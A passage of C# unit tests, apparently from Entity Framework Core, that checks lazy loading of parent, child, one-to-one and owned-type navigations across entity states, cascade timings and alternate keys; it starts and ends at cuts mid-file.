public virtual void Lazy_load_many_to_one_reference_to_principal(EntityState state, bool useAttach, bool useDetach)
{
Child child = null;
if (useAttach)
{
using (var context = CreateContext(lazyLoadingEnabled: true))
{
child = context.Set<Child>().Single(e => e.Id == 12);
if (useDetach)
{
context.Entry(child).State = EntityState.Detached;
}
}
if (useDetach)
{
Assert.Null(child.Parent);
}
else
{
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.LazyLoadOnDisposedContextWarning.ToString(),
CoreResources.LogLazyLoadOnDisposedContext(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage("ChildProxy", "Parent"),
"CoreEventId.LazyLoadOnDisposedContextWarning"),
Assert.Throws<InvalidOperationException>(
() => child.Parent).Message);
}
}
using (var context = CreateContext(lazyLoadingEnabled: true))
{
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
child ??= context.Set<Child>().Single(e => e.Id == 12);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(child.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.Children.Single());
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false, false)]
[InlineData(EntityState.Modified, false, false)]
[InlineData(EntityState.Deleted, false, false)]
[InlineData(EntityState.Unchanged, true, false)]
[InlineData(EntityState.Modified, true, false)]
[InlineData(EntityState.Deleted, true, false)]
[InlineData(EntityState.Unchanged, true, true)]
[InlineData(EntityState.Modified, true, true)]
[InlineData(EntityState.Deleted, true, true)]
public virtual void Lazy_load_one_to_one_reference_to_principal(EntityState state, bool useAttach, bool useDetach)
{
Single single = null;
if (useAttach)
{
using (var context = CreateContext(lazyLoadingEnabled: true))
{
single = context.Set<Single>().Single();
if (useDetach)
{
context.Entry(single).State = EntityState.Detached;
}
}
if (useDetach)
{
Assert.Null(single.Parent);
}
else
{
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.LazyLoadOnDisposedContextWarning.ToString(),
CoreResources.LogLazyLoadOnDisposedContext(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage("SingleProxy", "Parent"),
"CoreEventId.LazyLoadOnDisposedContextWarning"),
Assert.Throws<InvalidOperationException>(
() => single.Parent).Message);
}
}
using (var context = CreateContext(lazyLoadingEnabled: true))
{
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
single ??= context.Set<Single>().Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(single.Parent);
Assert.True(referenceEntry.IsLoaded);
Assert.False(changeDetector.DetectChangesCalled);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.Single);
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false, false)]
[InlineData(EntityState.Modified, false, false)]
[InlineData(EntityState.Deleted, false, false)]
[InlineData(EntityState.Unchanged, true, false)]
[InlineData(EntityState.Modified, true, false)]
[InlineData(EntityState.Deleted, true, false)]
[InlineData(EntityState.Unchanged, true, true)]
[InlineData(EntityState.Modified, true, true)]
[InlineData(EntityState.Deleted, true, true)]
public virtual void Lazy_load_one_to_one_reference_to_dependent(EntityState state, bool useAttach, bool useDetach)
{
Parent parent = null;
if (useAttach)
{
using (var context = CreateContext(lazyLoadingEnabled: true))
{
parent = context.Set<Parent>().Single();
if (useDetach)
{
context.Entry(parent).State = EntityState.Detached;
}
}
if (useDetach)
{
Assert.Null(parent.Single);
}
else
{
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.LazyLoadOnDisposedContextWarning.ToString(),
CoreResources.LogLazyLoadOnDisposedContext(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage("MotherProxy", "Single"),
"CoreEventId.LazyLoadOnDisposedContextWarning"),
Assert.Throws<InvalidOperationException>(
() => parent.Single).Message);
}
}
using (var context = CreateContext(lazyLoadingEnabled: true))
{
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
parent ??= context.Set<Parent>().Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.Single);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.Single);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<Single>().Single().Entity;
Assert.Same(single, parent.Single);
Assert.Same(parent, single.Parent);
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_PK_to_PK_reference_to_principal(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var single = context.Set<SinglePkToPk>().Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(single.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.SinglePkToPk);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_PK_to_PK_reference_to_dependent(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.Set<Parent>().Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.SinglePkToPk);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.SinglePkToPk);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<SinglePkToPk>().Single().Entity;
Assert.Same(single, parent.SinglePkToPk);
Assert.Same(parent, single.Parent);
}
[ConditionalFact]
public virtual void Eager_load_one_to_one_non_virtual_reference_to_owned_type()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<NonVirtualOneToOneOwner>().Single();
var addressReferenceEntry = context.Entry(owner).References.First();
Assert.Equal("Address", addressReferenceEntry.Metadata.Name);
Assert.True(addressReferenceEntry.IsLoaded);
Assert.Equal("Paradise Alley", owner.Address.Street);
}
[ConditionalFact]
public virtual void Eager_load_one_to_one_virtual_reference_to_owned_type()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<VirtualOneToOneOwner>().Single();
var addressReferenceEntry = context.Entry(owner).References.First();
Assert.Equal("Address", addressReferenceEntry.Metadata.Name);
Assert.True(addressReferenceEntry.IsLoaded);
Assert.Equal("Dead End", owner.Address.Street);
}
[ConditionalFact]
public virtual void Eager_load_one_to_many_non_virtual_collection_of_owned_types()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<NonVirtualOneToManyOwner>().Single();
var addressesCollectionEntry = context.Entry(owner).Collections.First();
Assert.Equal("Addresses", addressesCollectionEntry.Metadata.Name);
Assert.True(addressesCollectionEntry.IsLoaded);
Assert.Single(owner.Addresses);
}
[ConditionalFact]
public virtual void Eager_load_one_to_many_virtual_collection_of_owned_types()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<VirtualOneToManyOwner>().Single();
var addressesCollectionEntry = context.Entry(owner).Collections.First();
Assert.Equal("Addresses", addressesCollectionEntry.Metadata.Name);
Assert.True(addressesCollectionEntry.IsLoaded);
Assert.Equal(3, owner.Addresses.Count);
}
[ConditionalFact]
public virtual void Eager_load_one_to_many_non_virtual_collection_of_owned_types_with_explicit_lazy_load()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<ExplicitLazyLoadNonVirtualOneToManyOwner>().Single();
var addressesCollectionEntry = context.Entry(owner).Collections.First();
Assert.Equal("Addresses", addressesCollectionEntry.Metadata.Name);
Assert.True(addressesCollectionEntry.IsLoaded);
Assert.Single(owner.Addresses);
}
[ConditionalFact]
public virtual void Eager_load_one_to_many_virtual_collection_of_owned_types_with_explicit_lazy_load()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<ExplicitLazyLoadVirtualOneToManyOwner>().Single();
var addressesCollectionEntry = context.Entry(owner).Collections.First();
Assert.Equal("Addresses", addressesCollectionEntry.Metadata.Name);
Assert.True(addressesCollectionEntry.IsLoaded);
Assert.Single(owner.Addresses);
}
// Tests issue https://github.com/dotnet/efcore/issues/19847 (non-virtual)
[ConditionalFact]
public virtual void Setting_reference_to_owned_type_to_null_is_allowed_on_non_virtual_navigation()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<NonVirtualOneToOneOwner>().Single();
owner.Address = null;
context.Attach(owner);
context.Update(owner);
Assert.Null(owner.Address);
context.ChangeTracker.DetectChanges();
Assert.Null(owner.Address);
}
// Tests issue https://github.com/dotnet/efcore/issues/19847 (virtual)
[ConditionalFact]
public virtual void Setting_reference_to_owned_type_to_null_is_allowed_on_virtual_navigation()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var owner = context.Set<VirtualOneToOneOwner>().Single();
owner.Address = null;
context.Attach(owner);
context.Update(owner);
Assert.Null(owner.Address);
context.ChangeTracker.DetectChanges();
Assert.Null(owner.Address);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_null_FK(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var child = context.CreateProxy<Child>();
child.Id = 767;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Null(child.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_null_FK(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var single = context.CreateProxy<Single>();
single.Id = 767;
context.Attach(single);
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Null(single.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_changed_non_found_FK(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var child = context.CreateProxy<Child>();
child.Id = 767;
child.ParentId = 797;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
referenceEntry.IsLoaded = true;
changeDetector.DetectChangesCalled = false;
child.ParentId = 707;
context.ChangeTracker.DetectChanges();
Assert.NotNull(child.Parent);
Assert.True(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(child, parent.Children.Single());
Assert.Same(parent, child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_changed_found_FK(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.CreateProxy<Parent>();
parent.Id = 797;
parent.AlternateId = "X";
var child = context.CreateProxy<Child>();
child.Id = 767;
child.ParentId = 797;
child.Parent = parent;
parent.Children = new List<Child> { child };
context.Attach(child);
context.Attach(parent);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
referenceEntry.IsLoaded = true;
changeDetector.DetectChangesCalled = false;
child.ParentId = 707;
context.ChangeTracker.DetectChanges();
Assert.NotNull(child.Parent);
Assert.True(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(3, context.ChangeTracker.Entries().Count());
var newParent = context.ChangeTracker.Entries<Parent>().Single(e => e.Entity.Id != parent.Id).Entity;
Assert.Same(child, newParent.Children.Single());
Assert.Same(newParent, child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_collection_not_found(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.CreateProxy<Parent>();
parent.Id = 767;
parent.AlternateId = "NewRoot";
context.Attach(parent);
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.Children);
context.Entry(parent).State = state;
Assert.False(collectionEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Empty(parent.Children);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(collectionEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Empty(parent.Children);
Assert.Single(context.ChangeTracker.Entries());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_not_found(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var child = context.CreateProxy<Child>();
child.Id = 767;
child.ParentId = 787;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Null(child.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_not_found(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var single = context.CreateProxy<Single>();
single.Id = 767;
single.ParentId = 787;
context.Attach(single);
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Null(single.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_dependent_not_found(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.CreateProxy<Parent>();
parent.Id = 767;
parent.AlternateId = "NewRoot";
context.Attach(parent);
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.Single);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.Null(parent.Single);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(parent.Single);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Modified, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Deleted, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Unchanged, CascadeTiming.Immediate)]
[InlineData(EntityState.Modified, CascadeTiming.Immediate)]
[InlineData(EntityState.Deleted, CascadeTiming.Immediate)]
[InlineData(EntityState.Unchanged, CascadeTiming.Never)]
[InlineData(EntityState.Modified, CascadeTiming.Never)]
[InlineData(EntityState.Deleted, CascadeTiming.Never)]
public virtual void Lazy_load_collection_already_loaded(EntityState state, CascadeTiming cascadeDeleteTiming)
{
using var context = CreateContext(lazyLoadingEnabled: true);
context.ChangeTracker.CascadeDeleteTiming = cascadeDeleteTiming;
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.Set<Parent>().Include(e => e.Children).Single();
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.Children);
context.Entry(parent).State = state;
Assert.True(collectionEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.Children);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(collectionEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, parent.Children.Count());
if (state == EntityState.Deleted
&& cascadeDeleteTiming == CascadeTiming.Immediate)
{
Assert.All(parent.Children.Select(e => e.Parent), c => Assert.Null(c));
}
else
{
Assert.All(parent.Children.Select(e => e.Parent), c => Assert.Same(parent, c));
}
Assert.Equal(3, context.ChangeTracker.Entries().Count());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Modified, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Deleted, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Unchanged, CascadeTiming.Immediate)]
[InlineData(EntityState.Modified, CascadeTiming.Immediate)]
[InlineData(EntityState.Deleted, CascadeTiming.Immediate)]
[InlineData(EntityState.Unchanged, CascadeTiming.Never)]
[InlineData(EntityState.Modified, CascadeTiming.Never)]
[InlineData(EntityState.Deleted, CascadeTiming.Never)]
public virtual void Lazy_load_many_to_one_reference_to_principal_already_loaded(
EntityState state,
CascadeTiming cascadeDeleteTiming)
{
using var context = CreateContext(lazyLoadingEnabled: true);
context.ChangeTracker.CascadeDeleteTiming = cascadeDeleteTiming;
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var child = context.Set<Child>().Include(e => e.Parent).Single(e => e.Id == 12);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.True(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(child.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.Children.Single());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_already_loaded(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var single = context.Set<Single>().Include(e => e.Parent).Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.True(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(single.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.Single);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Modified, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Deleted, CascadeTiming.OnSaveChanges)]
[InlineData(EntityState.Unchanged, CascadeTiming.Immediate)]
[InlineData(EntityState.Modified, CascadeTiming.Immediate)]
[InlineData(EntityState.Deleted, CascadeTiming.Immediate)]
[InlineData(EntityState.Unchanged, CascadeTiming.Never)]
[InlineData(EntityState.Modified, CascadeTiming.Never)]
[InlineData(EntityState.Deleted, CascadeTiming.Never)]
public virtual void Lazy_load_one_to_one_reference_to_dependent_already_loaded(
EntityState state,
CascadeTiming cascadeDeleteTiming)
{
using var context = CreateContext(lazyLoadingEnabled: true);
context.ChangeTracker.CascadeDeleteTiming = cascadeDeleteTiming;
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.Set<Parent>().Include(e => e.Single).Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.Single);
context.Entry(parent).State = state;
Assert.True(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.Single);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<Single>().Single().Entity;
Assert.Same(single, parent.Single);
if (cascadeDeleteTiming == CascadeTiming.Immediate
&& state == EntityState.Deleted)
{
// No fixup to Deleted entity.
Assert.Null(single.Parent);
}
else
{
Assert.Same(parent, single.Parent);
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_PK_to_PK_reference_to_principal_already_loaded(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var single = context.Set<SinglePkToPk>().Include(e => e.Parent).Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.True(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(single.Parent);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.SinglePkToPk);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_PK_to_PK_reference_to_dependent_already_loaded(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
var parent = context.Set<Parent>().Include(e => e.SinglePkToPk).Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.SinglePkToPk);
context.Entry(parent).State = state;
Assert.True(referenceEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.SinglePkToPk);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<SinglePkToPk>().Single().Entity;
Assert.Same(single, parent.SinglePkToPk);
Assert.Same(parent, single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_alternate_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.Set<ChildAk>().Single(e => e.Id == 32);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.ChildrenAk.Single());
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_alternate_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.Set<SingleAk>().Single();
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Same(parent, single.Parent);
Assert.Same(single, parent.SingleAk);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_dependent_alternate_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
ClearLog();
var referenceEntry = context.Entry(parent).Reference(e => e.SingleAk);
context.Entry(parent).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.NotNull(parent.SingleAk);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var single = context.ChangeTracker.Entries<SingleAk>().Single().Entity;
Assert.Same(single, parent.SingleAk);
Assert.Same(parent, single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_many_to_one_reference_to_principal_null_FK_alternate_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var child = context.CreateProxy<ChildAk>();
child.Id = 767;
context.Attach(child);
ClearLog();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(child.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(child.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_to_principal_null_FK_alternate_key(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.CreateProxy<SingleAk>();
single.Id = 767;
context.Attach(single);
ClearLog();
var referenceEntry = context.Entry(single).Reference(e => e.Parent);
context.Entry(single).State = state;
Assert.False(referenceEntry.IsLoaded);
Assert.Null(single.Parent);
Assert.True(referenceEntry.IsLoaded);
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Single(context.ChangeTracker.Entries());
Assert.Null(single.Parent);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_collection_shadow_fk(EntityState state)
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.ChildrenShadowFk);
context.Entry(parent).State = state;
Assert.False(collectionEntry.IsLoaded);
Assert.NotNull(parent.ChildrenShadowFk);
